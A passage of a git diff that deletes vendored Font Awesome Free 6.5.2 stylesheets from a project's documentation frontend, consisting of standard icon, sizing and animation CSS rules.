}.fa-medium-m:before,.fa-medium:before{content:"\f23a"}.fa-amilia:before{content:"\f36d"}.fa-mixcloud:before{content:"\f289"}.fa-flipboard:before{content:"\f44d"}.fa-viacoin:before{content:"\f237"}.fa-critical-role:before{content:"\f6c9"}.fa-sitrox:before{content:"\e44a"}.fa-discourse:before{content:"\f393"}.fa-joomla:before{content:"\f1aa"}.fa-mastodon:before{content:"\f4f6"}.fa-airbnb:before{content:"\f834"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-buy-n-large:before{content:"\f8a6"}.fa-gulp:before{content:"\f3ae"}.fa-creative-commons-sampling-plus:before{content:"\f4f1"}.fa-strava:before{content:"\f428"}.fa-ember:before{content:"\f423"}.fa-canadian-maple-leaf:before{content:"\f785"}.fa-teamspeak:before{content:"\f4f9"}.fa-pushed:before{content:"\f3e1"}.fa-wordpress-simple:before{content:"\f411"}.fa-nutritionix:before{content:"\f3d6"}.fa-wodu:before{content:"\e088"}.fa-google-pay:before{content:"\e079"}.fa-intercom:before{content:"\f7af"}.fa-zhihu:before{content:"\f63f"}.fa-korvue:before{content:"\f42f"}.fa-pix:before{content:"\e43a"}.fa-steam-symbol:before{content:"\f3f6"}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/fontawesome.css b/documentation/frontend/static/fontawesome/css/fontawesome.css
deleted file mode 100644
index ca00c63..0000000
--- a/documentation/frontend/static/fontawesome/css/fontawesome.css
+++ /dev/null
@@ -1,6375 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-.fa {
- font-family: var(--fa-style-family, "Font Awesome 6 Free");
- font-weight: var(--fa-style, 900); }
-
-.fa,
-.fa-classic,
-.fa-sharp,
-.fas,
-.fa-solid,
-.far,
-.fa-regular,
-.fab,
-.fa-brands {
- -moz-osx-font-smoothing: grayscale;
- -webkit-font-smoothing: antialiased;
- display: var(--fa-display, inline-block);
- font-style: normal;
- font-variant: normal;
- line-height: 1;
- text-rendering: auto; }
-
-.fas,
-.fa-classic,
-.fa-solid,
-.far,
-.fa-regular {
- font-family: 'Font Awesome 6 Free'; }
-
-.fab,
-.fa-brands {
- font-family: 'Font Awesome 6 Brands'; }
-
-.fa-1x {
- font-size: 1em; }
-
-.fa-2x {
- font-size: 2em; }
-
-.fa-3x {
- font-size: 3em; }
-
-.fa-4x {
- font-size: 4em; }
-
-.fa-5x {
- font-size: 5em; }
-
-.fa-6x {
- font-size: 6em; }
-
-.fa-7x {
- font-size: 7em; }
-
-.fa-8x {
- font-size: 8em; }
-
-.fa-9x {
- font-size: 9em; }
-
-.fa-10x {
- font-size: 10em; }
-
-.fa-2xs {
- font-size: 0.625em;
- line-height: 0.1em;
- vertical-align: 0.225em; }
-
-.fa-xs {
- font-size: 0.75em;
- line-height: 0.08333em;
- vertical-align: 0.125em; }
-
-.fa-sm {
- font-size: 0.875em;
- line-height: 0.07143em;
- vertical-align: 0.05357em; }
-
-.fa-lg {
- font-size: 1.25em;
- line-height: 0.05em;
- vertical-align: -0.075em; }
-
-.fa-xl {
- font-size: 1.5em;
- line-height: 0.04167em;
- vertical-align: -0.125em; }
-
-.fa-2xl {
- font-size: 2em;
- line-height: 0.03125em;
- vertical-align: -0.1875em; }
-
-.fa-fw {
- text-align: center;
- width: 1.25em; }
-
-.fa-ul {
- list-style-type: none;
- margin-left: var(--fa-li-margin, 2.5em);
- padding-left: 0; }
- .fa-ul > li {
- position: relative; }
-
-.fa-li {
- left: calc(var(--fa-li-width, 2em) * -1);
- position: absolute;
- text-align: center;
- width: var(--fa-li-width, 2em);
- line-height: inherit; }
-
-.fa-border {
- border-color: var(--fa-border-color, #eee);
- border-radius: var(--fa-border-radius, 0.1em);
- border-style: var(--fa-border-style, solid);
- border-width: var(--fa-border-width, 0.08em);
- padding: var(--fa-border-padding, 0.2em 0.25em 0.15em); }
-
-.fa-pull-left {
- float: left;
- margin-right: var(--fa-pull-margin, 0.3em); }
-
-.fa-pull-right {
- float: right;
- margin-left: var(--fa-pull-margin, 0.3em); }
-
-.fa-beat {
- -webkit-animation-name: fa-beat;
- animation-name: fa-beat;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
- animation-timing-function: var(--fa-animation-timing, ease-in-out); }
-
-.fa-bounce {
- -webkit-animation-name: fa-bounce;
- animation-name: fa-bounce;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1)); }
-
-.fa-fade {
- -webkit-animation-name: fa-fade;
- animation-name: fa-fade;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1)); }
-
-.fa-beat-fade {
- -webkit-animation-name: fa-beat-fade;
- animation-name: fa-beat-fade;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1)); }
-
-.fa-flip {
- -webkit-animation-name: fa-flip;
- animation-name: fa-flip;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
- animation-timing-function: var(--fa-animation-timing, ease-in-out); }
-
-.fa-shake {
- -webkit-animation-name: fa-shake;
- animation-name: fa-shake;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, linear);
- animation-timing-function: var(--fa-animation-timing, linear); }
-
-.fa-spin {
- -webkit-animation-name: fa-spin;
- animation-name: fa-spin;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 2s);
- animation-duration: var(--fa-animation-duration, 2s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, linear);
- animation-timing-function: var(--fa-animation-timing, linear); }
-
-.fa-spin-reverse {
- --fa-animation-direction: reverse; }
-
-.fa-pulse,
-.fa-spin-pulse {
- -webkit-animation-name: fa-spin;
- animation-name: fa-spin;
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, steps(8));
- animation-timing-function: var(--fa-animation-timing, steps(8)); }
-
-@media (prefers-reduced-motion: reduce) {
- .fa-beat,
- .fa-bounce,
- .fa-fade,
- .fa-beat-fade,
- .fa-flip,
- .fa-pulse,
- .fa-shake,
- .fa-spin,
- .fa-spin-pulse {
- -webkit-animation-delay: -1ms;
- animation-delay: -1ms;
- -webkit-animation-duration: 1ms;
- animation-duration: 1ms;
- -webkit-animation-iteration-count: 1;
- animation-iteration-count: 1;
- -webkit-transition-delay: 0s;
- transition-delay: 0s;
- -webkit-transition-duration: 0s;
- transition-duration: 0s; } }
-
-@-webkit-keyframes fa-beat {
- 0%, 90% {
- -webkit-transform: scale(1);
- transform: scale(1); }
- 45% {
- -webkit-transform: scale(var(--fa-beat-scale, 1.25));
- transform: scale(var(--fa-beat-scale, 1.25)); } }
-
-@keyframes fa-beat {
- 0%, 90% {
- -webkit-transform: scale(1);
- transform: scale(1); }
- 45% {
- -webkit-transform: scale(var(--fa-beat-scale, 1.25));
- transform: scale(var(--fa-beat-scale, 1.25)); } }
-
-@-webkit-keyframes fa-bounce {
- 0% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 10% {
- -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
- transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0); }
- 30% {
- -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
- transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em)); }
- 50% {
- -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
- transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0); }
- 57% {
- -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
- transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em)); }
- 64% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 100% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); } }
-
-@keyframes fa-bounce {
- 0% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 10% {
- -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
- transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0); }
- 30% {
- -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
- transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em)); }
- 50% {
- -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
- transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0); }
- 57% {
- -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
- transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em)); }
- 64% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 100% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); } }
-
-@-webkit-keyframes fa-fade {
- 50% {
- opacity: var(--fa-fade-opacity, 0.4); } }
-
-@keyframes fa-fade {
- 50% {
- opacity: var(--fa-fade-opacity, 0.4); } }
-
-@-webkit-keyframes fa-beat-fade {
- 0%, 100% {
- opacity: var(--fa-beat-fade-opacity, 0.4);
- -webkit-transform: scale(1);
- transform: scale(1); }
- 50% {
- opacity: 1;
- -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
- transform: scale(var(--fa-beat-fade-scale, 1.125)); } }
-
-@keyframes fa-beat-fade {
- 0%, 100% {
- opacity: var(--fa-beat-fade-opacity, 0.4);
- -webkit-transform: scale(1);
- transform: scale(1); }
- 50% {
- opacity: 1;
- -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
- transform: scale(var(--fa-beat-fade-scale, 1.125)); } }
-
-@-webkit-keyframes fa-flip {
- 50% {
- -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
- transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg)); } }
-
-@keyframes fa-flip {
- 50% {
- -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
- transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg)); } }
-
-@-webkit-keyframes fa-shake {
- 0% {
- -webkit-transform: rotate(-15deg);
- transform: rotate(-15deg); }
- 4% {
- -webkit-transform: rotate(15deg);
- transform: rotate(15deg); }
- 8%, 24% {
- -webkit-transform: rotate(-18deg);
- transform: rotate(-18deg); }
- 12%, 28% {
- -webkit-transform: rotate(18deg);
- transform: rotate(18deg); }
- 16% {
- -webkit-transform: rotate(-22deg);
- transform: rotate(-22deg); }
- 20% {
- -webkit-transform: rotate(22deg);
- transform: rotate(22deg); }
- 32% {
- -webkit-transform: rotate(-12deg);
- transform: rotate(-12deg); }
- 36% {
- -webkit-transform: rotate(12deg);
- transform: rotate(12deg); }
- 40%, 100% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); } }
-
-@keyframes fa-shake {
- 0% {
- -webkit-transform: rotate(-15deg);
- transform: rotate(-15deg); }
- 4% {
- -webkit-transform: rotate(15deg);
- transform: rotate(15deg); }
- 8%, 24% {
- -webkit-transform: rotate(-18deg);
- transform: rotate(-18deg); }
- 12%, 28% {
- -webkit-transform: rotate(18deg);
- transform: rotate(18deg); }
- 16% {
- -webkit-transform: rotate(-22deg);
- transform: rotate(-22deg); }
- 20% {
- -webkit-transform: rotate(22deg);
- transform: rotate(22deg); }
- 32% {
- -webkit-transform: rotate(-12deg);
- transform: rotate(-12deg); }
- 36% {
- -webkit-transform: rotate(12deg);
- transform: rotate(12deg); }
- 40%, 100% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); } }
-
-@-webkit-keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); }
- 100% {
- -webkit-transform: rotate(360deg);
- transform: rotate(360deg); } }
-
-@keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); }
- 100% {
- -webkit-transform: rotate(360deg);
- transform: rotate(360deg); } }
-
-.fa-rotate-90 {
- -webkit-transform: rotate(90deg);
- transform: rotate(90deg); }
-
-.fa-rotate-180 {
- -webkit-transform: rotate(180deg);
- transform: rotate(180deg); }
-
-.fa-rotate-270 {
- -webkit-transform: rotate(270deg);
- transform: rotate(270deg); }
-
-.fa-flip-horizontal {
- -webkit-transform: scale(-1, 1);
- transform: scale(-1, 1); }
-
-.fa-flip-vertical {
- -webkit-transform: scale(1, -1);
- transform: scale(1, -1); }
-
-.fa-flip-both,
-.fa-flip-horizontal.fa-flip-vertical {
- -webkit-transform: scale(-1, -1);
- transform: scale(-1, -1); }
-
-.fa-rotate-by {
- -webkit-transform: rotate(var(--fa-rotate-angle, 0));
- transform: rotate(var(--fa-rotate-angle, 0)); }
-
-.fa-stack {
- display: inline-block;
- height: 2em;
- line-height: 2em;
- position: relative;
- vertical-align: middle;
- width: 2.5em; }
-
-.fa-stack-1x,
-.fa-stack-2x {
- left: 0;
- position: absolute;
- text-align: center;
- width: 100%;
- z-index: var(--fa-stack-z-index, auto); }
-
-.fa-stack-1x {
- line-height: inherit; }
-
-.fa-stack-2x {
- font-size: 2em; }
-
-.fa-inverse {
- color: var(--fa-inverse, #fff); }
-
-/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
-readers do not read off random characters that represent icons */
-
-.fa-0::before {
- content: "\30"; }
-
-.fa-1::before {
- content: "\31"; }
-
-.fa-2::before {
- content: "\32"; }
-
-.fa-3::before {
- content: "\33"; }
-
-.fa-4::before {
- content: "\34"; }
-
-.fa-5::before {
- content: "\35"; }
-
-.fa-6::before {
- content: "\36"; }
-
-.fa-7::before {
- content: "\37"; }
-
-.fa-8::before {
- content: "\38"; }
-
-.fa-9::before {
- content: "\39"; }
-
-.fa-fill-drip::before {
- content: "\f576"; }
-
-.fa-arrows-to-circle::before {
- content: "\e4bd"; }
-
-.fa-circle-chevron-right::before {
- content: "\f138"; }
-
-.fa-chevron-circle-right::before {
- content: "\f138"; }
-
-.fa-at::before {
- content: "\40"; }
-
-.fa-trash-can::before {
- content: "\f2ed"; }
-
-.fa-trash-alt::before {
- content: "\f2ed"; }
-
-.fa-text-height::before {
- content: "\f034"; }
-
-.fa-user-xmark::before {
- content: "\f235"; }
-
-.fa-user-times::before {
- content: "\f235"; }
-
-.fa-stethoscope::before {
- content: "\f0f1"; }
-
-.fa-message::before {
- content: "\f27a"; }
-
-.fa-comment-alt::before {
- content: "\f27a"; }
-
-.fa-info::before {
- content: "\f129"; }
-
-.fa-down-left-and-up-right-to-center::before {
- content: "\f422"; }
-
-.fa-compress-alt::before {
- content: "\f422"; }
-
-.fa-explosion::before {
- content: "\e4e9"; }
-
-.fa-file-lines::before {
- content: "\f15c"; }
-
-.fa-file-alt::before {
- content: "\f15c"; }
-
-.fa-file-text::before {
- content: "\f15c"; }
-
-.fa-wave-square::before {
- content: "\f83e"; }
-
-.fa-ring::before {
- content: "\f70b"; }
-
-.fa-building-un::before {
- content: "\e4d9"; }
-
-.fa-dice-three::before {
- content: "\f527"; }
-
-.fa-calendar-days::before {
- content: "\f073"; }
-
-.fa-calendar-alt::before {
- content: "\f073"; }
-
-.fa-anchor-circle-check::before {
- content: "\e4aa"; }
-
-.fa-building-circle-arrow-right::before {
- content: "\e4d1"; }
-
-.fa-volleyball::before {
- content: "\f45f"; }
-
-.fa-volleyball-ball::before {
- content: "\f45f"; }
-
-.fa-arrows-up-to-line::before {
- content: "\e4c2"; }
-
-.fa-sort-down::before {
- content: "\f0dd"; }
-
-.fa-sort-desc::before {
- content: "\f0dd"; }
-
-.fa-circle-minus::before {
- content: "\f056"; }
-
-.fa-minus-circle::before {
- content: "\f056"; }
-
-.fa-door-open::before {
- content: "\f52b"; }
-
-.fa-right-from-bracket::before {
- content: "\f2f5"; }
-
-.fa-sign-out-alt::before {
- content: "\f2f5"; }
-
-.fa-atom::before {
- content: "\f5d2"; }
-
-.fa-soap::before {
- content: "\e06e"; }
-
-.fa-icons::before {
- content: "\f86d"; }
-
-.fa-heart-music-camera-bolt::before {
- content: "\f86d"; }
-
-.fa-microphone-lines-slash::before {
- content: "\f539"; }
-
-.fa-microphone-alt-slash::before {
- content: "\f539"; }
-
-.fa-bridge-circle-check::before {
- content: "\e4c9"; }
-
-.fa-pump-medical::before {
- content: "\e06a"; }
-
-.fa-fingerprint::before {
- content: "\f577"; }
-
-.fa-hand-point-right::before {
- content: "\f0a4"; }
-
-.fa-magnifying-glass-location::before {
- content: "\f689"; }
-
-.fa-search-location::before {
- content: "\f689"; }
-
-.fa-forward-step::before {
- content: "\f051"; }
-
-.fa-step-forward::before {
- content: "\f051"; }
-
-.fa-face-smile-beam::before {
- content: "\f5b8"; }
-
-.fa-smile-beam::before {
- content: "\f5b8"; }
-
-.fa-flag-checkered::before {
- content: "\f11e"; }
-
-.fa-football::before {
- content: "\f44e"; }
-
-.fa-football-ball::before {
- content: "\f44e"; }
-
-.fa-school-circle-exclamation::before {
- content: "\e56c"; }
-
-.fa-crop::before {
- content: "\f125"; }
-
-.fa-angles-down::before {
- content: "\f103"; }
-
-.fa-angle-double-down::before {
- content: "\f103"; }
-
-.fa-users-rectangle::before {
- content: "\e594"; }
-
-.fa-people-roof::before {
- content: "\e537"; }
-
-.fa-people-line::before {
- content: "\e534"; }
-
-.fa-beer-mug-empty::before {
- content: "\f0fc"; }
-
-.fa-beer::before {
- content: "\f0fc"; }
-
-.fa-diagram-predecessor::before {
- content: "\e477"; }
-
-.fa-arrow-up-long::before {
- content: "\f176"; }
-
-.fa-long-arrow-up::before {
- content: "\f176"; }
-
-.fa-fire-flame-simple::before {
- content: "\f46a"; }
-
-.fa-burn::before {
- content: "\f46a"; }
-
-.fa-person::before {
- content: "\f183"; }
-
-.fa-male::before {
- content: "\f183"; }
-
-.fa-laptop::before {
- content: "\f109"; }
-
-.fa-file-csv::before {
- content: "\f6dd"; }
-
-.fa-menorah::before {
- content: "\f676"; }
-
-.fa-truck-plane::before {
- content: "\e58f"; }
-
-.fa-record-vinyl::before {
- content: "\f8d9"; }
-
-.fa-face-grin-stars::before {
- content: "\f587"; }
-
-.fa-grin-stars::before {
- content: "\f587"; }
-
-.fa-bong::before {
- content: "\f55c"; }
-
-.fa-spaghetti-monster-flying::before {
- content: "\f67b"; }
-
-.fa-pastafarianism::before {
- content: "\f67b"; }
-
-.fa-arrow-down-up-across-line::before {
- content: "\e4af"; }
-
-.fa-spoon::before {
- content: "\f2e5"; }
-
-.fa-utensil-spoon::before {
- content: "\f2e5"; }
-
-.fa-jar-wheat::before {
- content: "\e517"; }
-
-.fa-envelopes-bulk::before {
- content: "\f674"; }
-
-.fa-mail-bulk::before {
- content: "\f674"; }
-
-.fa-file-circle-exclamation::before {
- content: "\e4eb"; }
-
-.fa-circle-h::before {
- content: "\f47e"; }
-
-.fa-hospital-symbol::before {
- content: "\f47e"; }
-
-.fa-pager::before {
- content: "\f815"; }
-
-.fa-address-book::before {
- content: "\f2b9"; }
-
-.fa-contact-book::before {
- content: "\f2b9"; }
-
-.fa-strikethrough::before {
- content: "\f0cc"; }
-
-.fa-k::before {
- content: "\4b"; }
-
-.fa-landmark-flag::before {
- content: "\e51c"; }
-
-.fa-pencil::before {
- content: "\f303"; }
-
-.fa-pencil-alt::before {
- content: "\f303"; }
-
-.fa-backward::before {
- content: "\f04a"; }
-
-.fa-caret-right::before {
- content: "\f0da"; }
-
-.fa-comments::before {
- content: "\f086"; }
-
-.fa-paste::before {
- content: "\f0ea"; }
-
-.fa-file-clipboard::before {
- content: "\f0ea"; }
-
-.fa-code-pull-request::before {
- content: "\e13c"; }
-
-.fa-clipboard-list::before {
- content: "\f46d"; }
-
-.fa-truck-ramp-box::before {
- content: "\f4de"; }
-
-.fa-truck-loading::before {
- content: "\f4de"; }
-
-.fa-user-check::before {
- content: "\f4fc"; }
-
-.fa-vial-virus::before {
- content: "\e597"; }
-
-.fa-sheet-plastic::before {
- content: "\e571"; }
-
-.fa-blog::before {
- content: "\f781"; }
-
-.fa-user-ninja::before {
- content: "\f504"; }
-
-.fa-person-arrow-up-from-line::before {
- content: "\e539"; }
-
-.fa-scroll-torah::before {
- content: "\f6a0"; }
-
-.fa-torah::before {
- content: "\f6a0"; }
-
-.fa-broom-ball::before {
- content: "\f458"; }
-
-.fa-quidditch::before {
- content: "\f458"; }
-
-.fa-quidditch-broom-ball::before {
- content: "\f458"; }
-
-.fa-toggle-off::before {
- content: "\f204"; }
-
-.fa-box-archive::before {
- content: "\f187"; }
-
-.fa-archive::before {
- content: "\f187"; }
-
-.fa-person-drowning::before {
- content: "\e545"; }
-
-.fa-arrow-down-9-1::before {
- content: "\f886"; }
-
-.fa-sort-numeric-desc::before {
- content: "\f886"; }
-
-.fa-sort-numeric-down-alt::before {
- content: "\f886"; }
-
-.fa-face-grin-tongue-squint::before {
- content: "\f58a"; }
-
-.fa-grin-tongue-squint::before {
- content: "\f58a"; }
-
-.fa-spray-can::before {
- content: "\f5bd"; }
-
-.fa-truck-monster::before {
- content: "\f63b"; }
-
-.fa-w::before {
- content: "\57"; }
-
-.fa-earth-africa::before {
- content: "\f57c"; }
-
-.fa-globe-africa::before {
- content: "\f57c"; }
-
-.fa-rainbow::before {
- content: "\f75b"; }
-
-.fa-circle-notch::before {
- content: "\f1ce"; }
-
-.fa-tablet-screen-button::before {
- content: "\f3fa"; }
-
-.fa-tablet-alt::before {
- content: "\f3fa"; }
-
-.fa-paw::before {
- content: "\f1b0"; }
-
-.fa-cloud::before {
- content: "\f0c2"; }
-
-.fa-trowel-bricks::before {
- content: "\e58a"; }
-
-.fa-face-flushed::before {
- content: "\f579"; }
-
-.fa-flushed::before {
- content: "\f579"; }
-
-.fa-hospital-user::before {
- content: "\f80d"; }
-
-.fa-tent-arrow-left-right::before {
- content: "\e57f"; }
-
-.fa-gavel::before {
- content: "\f0e3"; }
-
-.fa-legal::before {
- content: "\f0e3"; }
-
-.fa-binoculars::before {
- content: "\f1e5"; }
-
-.fa-microphone-slash::before {
- content: "\f131"; }
-
-.fa-box-tissue::before {
- content: "\e05b"; }
-
-.fa-motorcycle::before {
- content: "\f21c"; }
-
-.fa-bell-concierge::before {
- content: "\f562"; }
-
-.fa-concierge-bell::before {
- content: "\f562"; }
-
-.fa-pen-ruler::before {
- content: "\f5ae"; }
-
-.fa-pencil-ruler::before {
- content: "\f5ae"; }
-
-.fa-people-arrows::before {
- content: "\e068"; }
-
-.fa-people-arrows-left-right::before {
- content: "\e068"; }
-
-.fa-mars-and-venus-burst::before {
- content: "\e523"; }
-
-.fa-square-caret-right::before {
- content: "\f152"; }
-
-.fa-caret-square-right::before {
- content: "\f152"; }
-
-.fa-scissors::before {
- content: "\f0c4"; }
-
-.fa-cut::before {
- content: "\f0c4"; }
-
-.fa-sun-plant-wilt::before {
- content: "\e57a"; }
-
-.fa-toilets-portable::before {
- content: "\e584"; }
-
-.fa-hockey-puck::before {
- content: "\f453"; }
-
-.fa-table::before {
- content: "\f0ce"; }
-
-.fa-magnifying-glass-arrow-right::before {
- content: "\e521"; }
-
-.fa-tachograph-digital::before {
- content: "\f566"; }
-
-.fa-digital-tachograph::before {
- content: "\f566"; }
-
-.fa-users-slash::before {
- content: "\e073"; }
-
-.fa-clover::before {
- content: "\e139"; }
-
-.fa-reply::before {
- content: "\f3e5"; }
-
-.fa-mail-reply::before {
- content: "\f3e5"; }
-
-.fa-star-and-crescent::before {
- content: "\f699"; }
-
-.fa-house-fire::before {
- content: "\e50c"; }
-
-.fa-square-minus::before {
- content: "\f146"; }
-
-.fa-minus-square::before {
- content: "\f146"; }
-
-.fa-helicopter::before {
- content: "\f533"; }
-
-.fa-compass::before {
- content: "\f14e"; }
-
-.fa-square-caret-down::before {
- content: "\f150"; }
-
-.fa-caret-square-down::before {
- content: "\f150"; }
-
-.fa-file-circle-question::before {
- content: "\e4ef"; }
-
-.fa-laptop-code::before {
- content: "\f5fc"; }
-
-.fa-swatchbook::before {
- content: "\f5c3"; }
-
-.fa-prescription-bottle::before {
- content: "\f485"; }
-
-.fa-bars::before {
- content: "\f0c9"; }
-
-.fa-navicon::before {
- content: "\f0c9"; }
-
-.fa-people-group::before {
- content: "\e533"; }
-
-.fa-hourglass-end::before {
- content: "\f253"; }
-
-.fa-hourglass-3::before {
- content: "\f253"; }
-
-.fa-heart-crack::before {
- content: "\f7a9"; }
-
-.fa-heart-broken::before {
- content: "\f7a9"; }
-
-.fa-square-up-right::before {
- content: "\f360"; }
-
-.fa-external-link-square-alt::before {
- content: "\f360"; }
-
-.fa-face-kiss-beam::before {
- content: "\f597"; }
-
-.fa-kiss-beam::before {
- content: "\f597"; }
-
-.fa-film::before {
- content: "\f008"; }
-
-.fa-ruler-horizontal::before {
- content: "\f547"; }
-
-.fa-people-robbery::before {
- content: "\e536"; }
-
-.fa-lightbulb::before {
- content: "\f0eb"; }
-
-.fa-caret-left::before {
- content: "\f0d9"; }
-
-.fa-circle-exclamation::before {
- content: "\f06a"; }
-
-.fa-exclamation-circle::before {
